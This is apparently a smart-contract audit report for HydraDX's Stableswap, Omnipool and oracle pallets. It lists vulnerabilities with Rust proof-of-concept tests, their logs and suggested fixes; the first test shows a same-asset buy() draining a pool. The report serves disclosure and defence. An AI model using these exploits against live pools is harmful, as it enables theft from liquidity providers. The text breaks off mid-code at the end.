HydraDX - castle_chain's results

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787-L842 https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L40-L41

Vulnerability details

Impact

This vulnerability has been identified in the Stableswap pallet that could potentially drain all liquidity from all pools without any permissions. This vulnerability can be exploited by malicious actors, resulting in significant financial losses for both the protocol and liquidity providers .

severity : critical

Proof of Concept

The vulnerability lies in the buy() function, which can be exploited by setting asset_in to an asset already present in the pool and subsequently setting asset_out to the same asset. The function does not validate or prevent this input, allowing an attacker to receive the entire amount_out without providing any corresponding amount_in .

Attack Flow :

1. the attacker call the function buy and specify the asset_in equal to asset_out , the function has no check that prevent this input to be passed .

2. the function will calculate the amount_in that should be taken out from the user , so the function will use calculate_in_amount function as shown here , this function will call calculate_in_given_out_with_fee() function .

                        let (amount_in, fee_amount) = Self::calculate_in_amount(pool_id, asset_in, asset_out, amount_out)?;

3. the function calculate_in_given_out_with_fee here , will call the function calculate_in_given_out to calculate amount_in , and the final amount_in will be the amount calculated plus the fees , and the fees are calculated as the ratio of the amount_in .

4. in the function calculate_in_given_out since the asset_in equal to asset_out then the new_reserve_in will be equal to the old reserve reserves[idx_in] so the amount_in ,which is the difference between the new and the old reserves ,will be equal to zero . as shown here , and then the function will add 1 to the amount_in .

        let new_reserve_in = calculate_y_given_out::<D, Y>(amount_out, idx_in, idx_out, &reserves, amplification)?;
        let amount_in = new_reserve_in.checked_sub(reserves[idx_in])?;
        let amount_in = normalize_value(
                amount_in,
                TARGET_PRECISION,
                initial_reserves[idx_in].decimals,
                Rounding::Up,
        );
        Some(amount_in.saturating_add(1u128))

this will result in amount_in = 1 and with the fee , it will be equal to amount_in = 1.001

If the attacker set amount_out = 100_000_000_000_000 he will take them and only pay amount_in = 1.001 .

Coded POC to demonstrate the vulnerability

consider add this test into the test file trade.rs here , and see the logs resulted from this test .

#[test]
fn test_set_asset_in_equal_asset_out_will_be_profitable() {
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;
	let dec_a: u8 = 18;
	let dec_b: u8 = 6;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, asset_a, to_precision!(200, dec_a)),
			(ALICE, asset_a, to_precision!(200, dec_a)),
			(ALICE, asset_b, to_precision!(200, dec_b)),
		])
		.with_registered_asset("one".as_bytes().to_vec(), 1, dec_a)
		.with_registered_asset("two".as_bytes().to_vec(), 2, dec_b)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(100).unwrap(),
				final_amplification: NonZeroU16::new(100).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_float(0.01),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, to_precision!(100, dec_a)),
					AssetAmount::new(asset_b, to_precision!(100, dec_b)),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);
			let pool_account = pool_account(pool_id);
			let asset_a_state_before = Tokens::free_balance(asset_a, &pool_account);

			let balance_before = Tokens::free_balance(asset_a, &BOB);
			for _ in 0..5 {
				assert_ok!(Stableswap::buy(
					RuntimeOrigin::signed(BOB),
					pool_id,
					asset_a,
					asset_a,
					to_precision!(20, dec_a),
					to_precision!(31, dec_a),
				));
			}
			let asset_a_state_after = Tokens::free_balance(asset_a, &pool_account);

			// the user here received the fees
			// 229_999_999_999_999_999_994
			let balance_after = Tokens::free_balance(asset_a, &BOB);
			println!(
				"pool balance of asset a before the attack = {:?} ",
				asset_a_state_before
			);
			println!("pool balance of asset a after the attack  = {:?} ", asset_a_state_after);

			println!("balance of bob before the attack = {:?}", balance_before);
			println!(" balance of asset a owned by bob after the attack =  {:?}", balance_after);
			println!(" the amount of profit for BOB : {:?}", balance_after - balance_before);
		});
}

the logs will be

running 1 test
pool balance of asset a before the attack = 100000000000000000000 
pool balance of asset a after the attack  = 28 
balance of bob before the attack = 200000000000000000000
 balance of asset a owned by bob after the attack =  299999999999999999972
 the amount of profit for BOB : 99999999999999999972

as shown here , Bob can drain almost all the liquidity of asset_a in the pool , and he can repeat this attack to drain all the assets exists in all the pools .

Recommended Mitigation Steps

To mitigate this vulnerability, it is crucial to prevent the setting of asset_in equal to asset_out. This can be achieved by adding the following line to the buy() function:

                pub fn buy(
                        origin: OriginFor<T>,
                        pool_id: T::AssetId,
                        asset_out: T::AssetId,
                        asset_in: T::AssetId,
                        amount_out: Balance,
                        max_sell_amount: Balance,
                ) -> DispatchResult {
                        let who = ensure_signed(origin)?;


+                        ensure!(
+                 asset_out != asset_in , Error::<T>::Invalid
+                );

Integrating this check into the buy() function will effectively prevent attackers from draining liquidity from the pool.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L612-L621 https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/omnipool/math.rs#L267-L269

Vulnerability details

Impact

This vulnerability will lead to prevent any liquidity provider from adding liquidity and prevent them from minting new shares , so this is considered a huge loss of funds for the users and the protocol .

1. No New Liquidity: Users can no longer add liquidity to the pool, hindering its growth and potential.
2. Complete liquidity removal shuts down the pool, preventing any future activity.
3. Financial losses for the protocol : It loses the benefits of increased liquidity and potential fees from user activity.

Proof of Concept

Adding a new token to the omnipool requires an initial liquidity deposit. This initial deposit mints the first batch of shares. Subsequent liquidity additions mint new shares proportionally to the existing total shares, ensuring a fair distribution based on the pool's current size. .

In the function remove_liquidity it is allowed to remove all amount of liquidity from the pool , which means burning all amount of the shares from the pool , as shown here

                        let state_changes = hydra_dx_math::omnipool::calculate_remove_liquidity_state_changes(
                                &(&asset_state).into(),
                                amount,
                                &(&position).into(),
                                I129 {
                                        value: current_imbalance.value,
                                        negative: current_imbalance.negative,
                                },
                                current_hub_asset_liquidity,
                                withdrawal_fee,
                        )
                        .ok_or(ArithmeticError::Overflow)?;


                        let new_asset_state = asset_state
                                .clone()
                                .delta_update(&state_changes.asset)
                                .ok_or(ArithmeticError::Overflow)?;

the function calculate_remove_liquidity_state_changes calculates the shares to be burnt and the delta_update function removes them .

If all liquidity shares have been removed from any pool ,protocol shares and user shares are removed , the asset_reserve equal to zero and shares equal to zero , this will prevent any liquidity from been added , because the function add_liquidity does not handle the situation where there is no liquidity in the pool , as shown in add_liquidity function it calls calculate_add_liquidity_state_changes which calculate the shares to be minted to the lp as shown here

        let delta_shares_hp = shares_hp
                .checked_mul(amount_hp)
                .and_then(|v| v.checked_div(reserve_hp))?;

the state of the pool after all liquidity have been removed asset_reserve = 0 , shares = 0 Since there is no liquidity in the pool so the reserve_hp will be equal to zero , so this part will always return error , so this function will always revert .

even if any user donates some assets to prevent this function from reverting , the liquidity provider will always receive zero shares , since the delta_shares_hp will always equal to zero , which is considered loss of funds for the user and the protocol .

the bad state that will cause this vulnerability : token has been added to the pool but all liquidity have been removed from it .

Coded Poc :

consider add this test in remove_liquidity.rs test file , and run it to see the logs .

#[test]
fn full_liquidity_removal_then_add_liquidity() {
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(Omnipool::protocol_account(), DAI, 1000 * ONE),
			(Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
			(LP2, 1_000, 2000 * ONE),
			(LP1, 1_000, 5000 * ONE),
		])
		.with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
		.with_token(1_000, FixedU128::from_float(0.65), LP2, 2000 * ONE)
		.build()
		.execute_with(|| {
			// let token_amount = 2000 * ONE;

			let liq_added = 400 * ONE;
			let lp1_position_id = <NextPositionId<Test>>::get();
			assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added));

			let liq_removed = 400 * ONE;
			println!(
				"asset state before liquidity removal {:?} ",
				Omnipool::load_asset_state(1000).unwrap()
			);

			assert_ok!(Omnipool::remove_liquidity(
				RuntimeOrigin::signed(LP1),
				lp1_position_id,
				liq_removed
			));

			assert!(
				Positions::<Test>::get(lp1_position_id).is_none(),
				"Position still found"
			);
			assert!(
				get_mock_minted_position(lp1_position_id).is_none(),
				"Position instance was not burned"
			);
			let pos = Positions::<Test>::get(2);
			println!(" the lp2_position before all liquidity removal : {:?}", pos.unwrap());
			// lp2 remove his all initial liquidity
			assert_ok!(Omnipool::remove_liquidity(RuntimeOrigin::signed(LP2), 2, 2000 * ONE));
			let lp2_position = lp1_position_id - 1;

			assert!(Positions::<Test>::get(lp2_position).is_none(), "Position still found");

			println!(
				"the final state after all liquidity has been removed : {:?} ",
				Omnipool::load_asset_state(1000).unwrap()
			);
			let liq_added = 400 * ONE;
			assert_noop!(
				Omnipool::add_liquidity(RuntimeOrigin::signed(LP1), 1_000, liq_added),
				ArithmeticError::Overflow
			);
			// this make sure that there is no position created after
			assert!(Positions::<Test>::get(lp2_position).is_none(), "Position still found");

			println!(
				"the new state after liquidity provision reverted : {:?}",
				Omnipool::load_asset_state(1000).unwrap()
			);
		});
}

the logs will be

running 1 test
asset state before liquidity removal AssetReserveState { reserve: 2400000000000000, hub_reserve: 1560000000000000, shares: 2400000000000000, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY } 
 the lp2_position before all liquidity removal : Position { asset_id: 1000, amount: 2000000000000000, shares: 2000000000000000, price: (650000000000000000, 1000000000000000000) }
the final state after all liquidity has been removed : AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY } 
the new state after liquidity provision reverted : AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }

which illustrates that add_liquidity function failed after lp2 and lp1 removed their entire liquidity from the pool .

Tools Used

vs code and manual review

Recommended Mitigation Steps

add a special behaviour to the function add_liquidity to handle the situation of no initial liquidity the mitigation can be done by

• When the pool initially has no shares (total shares equal zero), newly added assets from a liquidity provider trigger the minting of shares in an amount equal to the added asset value as happened in the function add_token() here

                                delta_shares: BalanceUpdate::Increase(amount),

Assessed type

Context

        let delta_shares_hp = shares_hp
                .checked_mul(amount_hp)
                .and_then(|v| v.checked_div(reserve_hp))?;

asset state before liquidity removal AssetReserveState {
	reserve: 2000000000000000, hub_reserve: 1300000000000000,
	shares: 2000000000000000, protocol_shares: 0
	
	the lp2_position before all liquidity removal :
	Position { asset_id: 1000, amount: 2000000000000000,
		shares: 2000000000000000

the final state after all liquidity has been removed :
AssetReserveState { reserve: 0, hub_reserve: 0
	, shares: 0, protocol_shares: 0

 the lp2_position  after adding liquidity of 400 units of asset_a  : 
Position { asset_id: 1000, amount: 400000000000000
	,shares: 0	
	
	the new state after liquidity provision had done but NO shares got minted to LP2 :
	AssetReserveState { reserve: 401000000000000,
		hub_reserve: 0, shares: 0, protocol_shares: 0
	

#[test]
fn full_liquidity_removal_then_add_liquidity() {
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(Omnipool::protocol_account(), DAI, 1000 * ONE),
			(Omnipool::protocol_account(), HDX, NATIVE_AMOUNT),
			(LP2, 1_000, 2000 * ONE),
			(LP1, 1_000, 5000 * ONE),
		])
		.with_initial_pool(FixedU128::from_float(0.5), FixedU128::from(1))
		.with_token(1_000, FixedU128::from_float(0.65), LP2, 2000 * ONE) // this is the first liquidity addition done by the LP2
		.build()
		.execute_with(|| {
			let asset_a = 1_000;
			// how to perform this DoS attack .
			// lp2 provides 2000 uints of asset_a , and remove all of them
			// lp1 send some assets to the pool
			// this will prevent the function add_liquidity from the revert
			// lp2 will add liquidity of 400 units of asset_a and will receive zero shares .

			// the lp2 position is the last position which is the (next position id - 1)
			let lp2_position_id = <NextPositionId<Test>>::get() - 1;
			// get asset_a state .
			println!(
				"asset state before the entire liquidity removal {:?} ",
				Omnipool::load_asset_state(asset_a).unwrap()
			);
			let pos = Positions::<Test>::get(lp2_position_id);
			println!(" the lp2_position before all liquidity removal : {:?}", pos.unwrap());
			// lp2 remove his all  liquidity from the pool
			assert_ok!(Omnipool::remove_liquidity(RuntimeOrigin::signed(LP2), 2, 2000 * ONE));
			// this makes sure that all liquidity were removed , and the position get destroyed
			assert!(
				Positions::<Test>::get(lp2_position_id).is_none(),
				"Position still found"
			);
			// state of asset_a after the entire liquidity removal
			println!(
				"the final state after all liquidity has been removed : {:?} ",
				Omnipool::load_asset_state(asset_a).unwrap()
			);
			// the attacker LP1 send 1 unit of asset_a to the pool 
			Tokens::transfer(RuntimeOrigin::signed(LP1), Omnipool::protocol_account(), asset_a, ONE);
			let liq_added = 400 * ONE;
			// the LP2 added liquidity to the pool 
			assert_ok!(Omnipool::add_liquidity(RuntimeOrigin::signed(LP2), asset_a, liq_added));
			// get the new position of the LP2 
			let new_lp2_position_id = <NextPositionId<Test>>::get() - 1;

			let pos = Positions::<Test>::get(new_lp2_position_id);
			println!(
				" the lp2_position  after adding liquidity of 400 units of asset_a  : {:?}",
				pos.unwrap()
			);
			println!(
				"the new state after liquidity provision had done but NO shares got minted to LP2 : {:?}",
				Omnipool::load_asset_state(asset_a).unwrap()
			);
		});
}

running 1 test
asset state before the entire liquidity removal AssetReserveState { reserve: 2000000000000000, hub_reserve: 1300000000000000, shares: 2000000000000000, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY } 
 the lp2_position before all liquidity removal : Position { asset_id: 1000, amount: 2000000000000000, shares: 2000000000000000, price: (650000000000000000, 1000000000000000000) }
the final state after all liquidity has been removed : AssetReserveState { reserve: 0, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY } 
 the lp2_position  after adding liquidity of 400 units of asset_a  : Position { asset_id: 1000, amount: 400000000000000, shares: 0, price: (0, 401000000000000) }
the new state after liquidity provision had done but NO shares got minted to LP2 : AssetReserveState { reserve: 401000000000000, hub_reserve: 0, shares: 0, protocol_shares: 0, cap: 1000000000000000000, tradable: SELL | BUY | ADD_LIQUIDITY | REMOVE_LIQUIDITY }

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1330-L1360 https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L743 https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L759-L764

Vulnerability details

Impact

this vulnerability will lead to huge loss of funds for liquidity providers that want to withdraw their liquidity if the safe withdrawal is enabled .

• the loss of funds can be 100% of the liquidity provider`s shares .

Proof of Concept

Normal Scenario of manipulating price and disabling removing or adding liquidity

If the price of certain asset got manipulated , there is an ensure function exist in the remove_liquidity() here and add_liquidity()here , so the function should revert in case of the price of an asset got manipulated .

                        T::PriceBarrier::ensure_price(
                                &who,
                                T::HubAssetId::get(),
                                asset,
                                EmaPrice::new(asset_state.hub_reserve, asset_state.reserve),
                        )
                        .map_err(|_| Error::<T>::PriceDifferenceTooHigh)?;

This ensure_price() function checks that the difference between spot price and oracle price is not too high , so it has critical role to prevent the profitability from this manipulation .

There is also another security parameter which is the Tradability state which can prevent removing or adding liquidity .

And there is withdrawal_fee which is used to make manipulating price not profitable , and it can prevent the attacker from getting any of assets if the price difference is too high .

Important assumption

the assumption is that the withdrawal can be done safely without checking the price difference because the swapping of this asset got disabled so the price is stable . as shown here

                        let safe_withdrawal = asset_state.tradable.is_safe_withdrawal();

        pub(crate) fn is_safe_withdrawal(&self) -> bool {
                *self == Tradability::ADD_LIQUIDITY | Tradability::REMOVE_LIQUIDITY || *self == Tradability::REMOVE_LIQUIDITY
        }
}

Edge case

Due to the fact that there is not limitation on setting tradability states to any asset except the hub_asset , the tradability state can be set to prevent swapping on asset at manipulated price , by make the tradability state only contains remove and add liquidity flags , when the difference between spot price and the oracle price is too high . In such case the remove_liquidity() function will not revert with price error because the function ensure-price() will not work , but it will pass and the withdrawal_fee will be equal to 1 . So 100% of the liquidity to be removed will be taken from the user as fees and will be distributed on the other liquidity providers .

how this vulnerability can be applied :

1. the price of asset got manipulated and the difference between spot and oracle price is too high
2. the tardability state of the asset has been set to remove and add liquidity only (buying and selling are disabled )
3. any user trying to remove his liquidity will be taken as fees and there is no asset will be transferred to the user and the transaction will not revert , since there is no slippage(safty) parameter can be set by the user , to ensure that amount comes from this transaction is equal to what is expected .

the normal Scenario here is that the remove_liquidity function should revert instead of taking all user assets as withdrawal_fee the code that calculate the withdrawal fee is

pub fn calculate_withdrawal_fee(
        spot_price: FixedU128,
        oracle_price: FixedU128,
        min_withdrawal_fee: Permill,
) -> FixedU128 {
        let price_diff = if oracle_price <= spot_price {
                spot_price.saturating_sub(oracle_price)
        } else {
                oracle_price.saturating_sub(spot_price)
        };


        let min_fee: FixedU128 = min_withdrawal_fee.into();
        debug_assert!(min_fee <= FixedU128::one());


        if oracle_price.is_zero() {
                return min_fee;
        }

        // fee can be set to 100% 
  ->    price_diff.div(oracle_price).clamp(min_fee, FixedU128::one())
}

the delta assets that send to the user will be zero in case that withdrawal_fee is 1

        // fee_complement = 0 ; 
        let fee_complement = FixedU128::one().saturating_sub(withdrawal_fee);


        // Apply withdrawal fee
        let delta_reserve = fee_complement.checked_mul_int(delta_reserve)?;
        let delta_hub_reserve = fee_complement.checked_mul_int(delta_hub_reserve)?;
        let hub_transferred = fee_complement.checked_mul_int(hub_transferred)?;


        let delta_imbalance = calculate_delta_imbalance(delta_hub_reserve, imbalance, total_hub_reserve)?; 

Tools Used

vs code and manual review

Recommended Mitigation Steps

this vulnerability can be mitigated by only one step :

• to check that the price is in the allowed Range before disabling the swapping and allow remove and add liquidity on any asset , this mitigation will make sure that the safe_withdrawal is set to true except if the price in the Range so the price is actually stable and safe to withdraw liquidity on this price .

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1330-L1361

consider modifying set_asset_tradable_state() function to ensure that if the state is set to preventing swapping , then ensure the price

                pub fn set_asset_tradable_state(
                        origin: OriginFor<T>,
                        asset_id: T::AssetId,
                        state: Tradability,
                ) -> DispatchResult {
                        T::TechnicalOrigin::ensure_origin(origin)?;


                        if asset_id == T::HubAssetId::get() {
                                // Atm omnipool does not allow adding/removing liquidity of hub asset.
                                // Although BUY is not supported yet, we can allow the new state to be set to SELL/BUY.
                                ensure!(
                                        !state.contains(Tradability::ADD_LIQUIDITY) && !state.contains(Tradability::REMOVE_LIQUIDITY),
                                        Error::<T>::InvalidHubAssetTradableState
                                );


                                HubAssetTradability::<T>::mutate(|value| -> DispatchResult {
                                        *value = state;
                                        Self::deposit_event(Event::TradableStateUpdated { asset_id, state });
                                        Ok(())
                                })
                        } else {

                                Assets::<T>::try_mutate(asset_id, |maybe_asset| -> DispatchResult {
                                        let asset_state = maybe_asset.as_mut().ok_or(Error::<T>::AssetNotFound)?;
+ if (state == Tradability::ADD_LIQUIDITY | Tradability::REMOVE_LIQUIDITY || state == Tradability::REMOVE_LIQUIDITY){
+
+      T::PriceBarrier::ensure_price(
+					&who,
+					T::HubAssetId::get(),
+					asset_id,
+					EmaPrice::new(asset_state.hub_reserve, asset_state.reserve),
+				)
+				.map_err(|_| Error::<T>::PriceDifferenceTooHigh)?;}

                                        asset_state.tradable = state;
                                        Self::deposit_event(Event::TradableStateUpdated { asset_id, state });


                                        Ok(())
                                })
                        }
                }

Assessed type

Invalid Validation

Stapleswap

1) liquidity providers can not provide amount of assets that will result in shares more than the total issuance by calling add_liquidity_shares function , which is considered loss of value for the protocol .

affected code : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L317-L337

the function add_liquidity_shares uses the function calculate_add_one_asset here which has a constrain that ensures that the shares specified by the user to be minted are not greater than the total issuance , there is nothing should prevent the liquidity providers from providing such amount of asset , and this amount of shares to be minted is not prevented by the function add_liquidity so such a constrain should be removed .

        if shares > share_asset_issuance {
                return None;
        }

coded poc

consider add this test to the test file add_liquidity.rs

#[test]
fn add_liquidity_should_work_correctly_when_fee_is_applied_test() {
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;
	let asset_c: AssetId = 3;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, asset_a, 200_000_000_000_000_000_000),
			(ALICE, asset_a, 52425995641788588073263117),
			(ALICE, asset_b, 52033213790329),
			(ALICE, asset_c, 119135337044269),
		])
		.with_registered_asset("one".as_bytes().to_vec(), asset_a, 18)
		.with_registered_asset("two".as_bytes().to_vec(), asset_b, 6)
		.with_registered_asset("three".as_bytes().to_vec(), asset_c, 6)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b, asset_c].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(2000).unwrap(),
				final_amplification: NonZeroU16::new(2000).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_float(0.0001),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, 5_641_788_588_073_263_117),
					AssetAmount::new(asset_b, 52033213790329),
					AssetAmount::new(asset_c, 119135337044269),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);
			// let amount = 2_000_000_000_000_000_000;
			let total_shares = Tokens::total_issuance(pool_id); 
			assert_ok!(Stableswap::add_liquidity_shares(
				RuntimeOrigin::signed(BOB),
				pool_id,
				total_shares + 1 , 
				asset_a , 
				200_000_000_000_000_000_000
			));
			let received = Tokens::free_balance(pool_id, &BOB);
			println!("shares received after providing 2_000_000_000_000_000_000 asset and call add_liquidity function : {:?}", received);
			let bob_balance = Tokens::free_balance(asset_a, &BOB);
			let used = 200_000_000_000_000_000_000 - bob_balance ; 
			println!("used : {:?}" , used);
		});
// 108_887_514_683_615_710_558 assets should be taken from the user but the function call will revert due to that the shares requested are more than the total issuance 
}

this test should revert due to the shares requested is greater than the total issuance by 1 to make this test work you can simply remove this one here

+       total_shares ,
-				total_shares + 1 , 

Recommendation

consider removing this constrain

-        if shares > share_asset_issuance {
-                return None;
-        }

2) huge loss of funds for the users and the protocol , if the pool is created with share_asset that does have a different decimals from 18 decimals

affected code : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L341-L369 .

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L950-L992

The implementation of stableswap assumes that all the shares assets have 18 decimals only but there is no check for this in the function create_pool which can allow set the share_asset to has any number of decimals which will affect the whole pool since the normalization function scale all the reserves to 18 decimals in order to calculate D , and Y parameters .

the impact is : this will lead to huge loss of funds for the user and the protocol because of the wrong calculation of Y , and D parameters

Recommendations

consider adding a check to ensure that the share_asset decimals are equal to 18 decimals . add this check to the do_create_pool function :

+                ensure!(
+                        T::AssetInspection::decimals(share_asset)== 18,
+                        Error::<T>::Invalid_decimals
+                );

Omnipool

1) If the initial token price is set too far from the oracle price within the add_token() function, it will lead to the freezing of liquidity provision .

affected code : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L447-L549 .

This outcome is a consequence of the price constraint embedded in the add_liquidity here function, which ensures that the disparity between the spot and oracle prices remains within acceptable bounds. Consequently, deviating significantly from the oracle price when setting the initial token price can trigger this constraint, resulting in the freezing of liquidity provision.

Recommendations

call the function ensure_price() inside the add_token function to ensure that initial price is within the range of oracle price.

                pub fn add_token(
                        origin: OriginFor<T>,
                        asset: T::AssetId,
                        initial_price: Price,
                        weight_cap: Permill,
                        position_owner: T::AccountId,
                ) -> DispatchResult {
                        T::AuthorityOrigin::ensure_origin(origin.clone())?;
+                          T::PriceBarrier::ensure_price(
+                               &AccountId,
+                                T::HubAssetId::get(),
+                                asset,
+                                initial_price,
+                        )
+                        .map_err(|_| Error::<T>::PriceDifferenceTooHigh)?;

                        ensure!(!Assets::<T>::contains_key(asset), Error::<T>::AssetAlreadyAdded);


                        ensure!(T::AssetRegistry::exists(asset), Error::<T>::AssetNotRegistered);


                        ensure!(initial_price > FixedU128::zero(), Error::<T>::InvalidInitialAssetPrice);


                        // ensure collection is created, we can simply ignore the error if it was already created.

2) the add_token() function lacks a check to prevent exceeding the maximum weight cap which will disable liquidity provision .

affected code : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L447-L549 .

Each token is assigned a maximum weight cap, specifying the maximum amount of hub asset that can be minted in its corresponding pool. If the quantity of hub asset paired (minted) with the added token surpasses its permitted weight capacity, liquidity provision will be frozen. This is because the add_liquidity here function incorporates a capacity constraint, and exceeding this limit triggers the freezing of liquidity provision .

Recommendation

check the cap of the asset in the function add_token()

                pub fn add_token(
                        origin: OriginFor<T>,
                        asset: T::AssetId,
                        initial_price: Price,
                        weight_cap: Permill,
                        position_owner: T::AccountId,
                ) -> DispatchResult {

                        ensure!(
                                hub_reserve_ratio <= new_asset_state.weight_cap(),
                                Error::<T>::AssetWeightCapExceeded
                        );

3) Customizing the minimum trading limit on a per-asset basis is essential to facilitate liquidity provision for assets characterized by lower decimal precision and higher market prices.

affected code : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L577-L584 .

Tokens like Gemini USD possess just 2 decimals, while others like USDC has 6 decimals. Within the add_liquidity function, it is crucial to align the MinimumPoolLiquidity with the amount of hub_asset. Failure to consider this alignment, particularly when the specified amount surpasses the maxWeightCap established for the asset, can result in the disabling of liquidity provision for that specific token.

To illustrate, let's take a low-decimal asset with 2 decimals and set its MinimumPoolLiquidity at 10,000, equating to 100 units of that asset. If this quantity of tokens corresponds to an amount of hub assets exceeding the weight cap assigned to the asset , if the max weight cap for this asset is 20% of a total hub reserve is 100,000 , then the max amount of hub allowed to be added equal to 25,000 ,and if the corresponding hub asset for the 100 units of asset equal to 30,000, liquidity provision for this asset becomes disabled. This underscores the necessity for a nuanced approach in determining the minimum trading limit, ensuring the smooth provision of liquidity for assets with lower decimal precision and elevated market values, whether with 2 or 6 decimals.

Recommendation

create a map type to store the minimumPoolLiquidty of each Pool , or can store this minimum limit in the asset registry . this will allow specify a suitable minimum limit to each asset in the omnipool .

4) the getter function can be used instead of repeating code to get the hub_asset_liquidity , to increase code simplicity

code affected : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1946-L1948

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L509

get_hub_asset_balance_of_protocol_account() function can be used instead of getting the balance of the protocol in each function like this ,

-                    let current_hub_asset_liquidity = T::Currency::free_balance(T::HubAssetId::get(), &Self::protocol_account());
+                          let hub_asset_liquidity = Self::get_hub_asset_balance_of_protocol_account();

5) should add [require_transactional] macro for the function that should perform storage update to make sure that storage mutated successfully .

code affected : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/omnipool/src/lib.rs#L1698-L1705

as per frame docs here the require_transactional macro should be used if the function is executed within storage transaction .

the function sell_hub_asset should have [require_transactional] macro to make sure that storage update is done correctly , otherwise this can allow execution without send the assets to the protocol and to the user , which is considered loss of funds for the user and the protocol .

Recommendation

add the [require_transactional] macro . cosider add this line to the function sell_hub_asset

+       #[require_transactional]
       fn sell_hub_asset(
               origin: T::RuntimeOrigin,
               who: &T::AccountId,
               asset_out: T::AssetId,
               amount: Balance,
               limit: Balance,
       ) -> DispatchResult {

Ema_oracle

1) prevnet calling the funtcions on_trade and on_liquidity_changed with asset_in = asset_out , to prevent storing invalid prices .

code affected :

1. https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/ema-oracle/src/lib.rs#L386-L417
2. https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/ema-oracle/src/lib.rs#L428-L456

the function on_trade and on_liquidity_changed do not check if the asset_in equal asset_out or not , so this will allow storing invalid prices in the oracle .

since the function buy on stableswap pallet does not prevent that asset_in to be equal to asset_out as shown here : https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787-L807

                pub fn buy(
                        origin: OriginFor<T>,
                        pool_id: T::AssetId,
                        asset_out: T::AssetId,
                        asset_in: T::AssetId,
                        amount_out: Balance,
                        max_sell_amount: Balance,
                ) -> DispatchResult {
                        let who = ensure_signed(origin)?;


